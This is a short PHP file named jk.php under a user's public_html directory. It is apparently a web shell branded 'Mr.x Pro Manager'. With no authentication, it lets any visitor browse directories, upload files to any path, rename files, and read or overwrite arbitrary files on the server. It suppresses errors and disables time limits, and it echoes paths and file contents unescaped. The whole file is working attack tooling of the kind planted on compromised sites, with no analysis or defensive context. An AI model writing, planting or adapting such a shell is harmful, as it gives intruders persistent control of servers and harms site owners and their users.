/home/ntu100/public_html/jk.php
<?php
error_reporting(0);
set_time_limit(0);

echo "<title>Mr.x Pro Manager</title>";

echo "<center>
<h2>Mr.x Pro Manager</h2>
<hr>
</center>";

$path = isset($_GET['path']) ? $_GET['path'] : getcwd();

echo "<b>Path:</b> $path<br><br>";

/* Upload System */

if(isset($_FILES['file'])){
    
    $upload = $path . "/" . $_FILES['file']['name'];
    
    if(move_uploaded_file($_FILES['file']['tmp_name'], $upload)){
        echo "Upload Success<br>";
    }else{
        echo "Upload Failed<br>";
    }
}

echo "
<form method='post' enctype='multipart/form-data'>
<input type='file' name='file'>
<input type='submit' value='Upload'>
</form>
<hr>
";

/* Rename */

if(isset($_POST['rename'])){
    rename($_POST['old'], $_POST['new']);
    echo "Rename Done<br>";
}

/* Edit File */

if(isset($_POST['save'])){

    $fp = fopen($_POST['file'], 'w');
    fwrite($fp, $_POST['content']);
    fclose($fp);

    echo "File Saved Successfully<br>";
}

/* File List */

$files = scandir($path);

foreach($files as $file){

    echo "<a href='?path=$path/$file'>$file</a> 
    | <a href='?edit=$path/$file'>Edit</a>
    | <a href='?rename=$path/$file'>Rename</a>
    <br>";
}

/* Edit Page */

if(isset($_GET['edit'])){

$file = $_GET['edit'];

$content = file_get_contents($file);

echo "
<hr>
<form method='post'>
<textarea name='content' style='width:100%;height:400px;'>$content</textarea>
<input type='hidden' name='file' value='$file'>
<br>
<input type='submit' name='save' value='Save'>
</form>
";
}

/* Rename Page */

if(isset($_GET['rename'])){

$file = $_GET['rename'];

echo "
<hr>
<form method='post'>
Old Name:<br>
<input type='text' name='old' value='$file'><br>
New Name:<br>
<input type='text' name='new'><br><br>
<input type='submit' name='rename' value='Rename'>
</form>
";
}

?>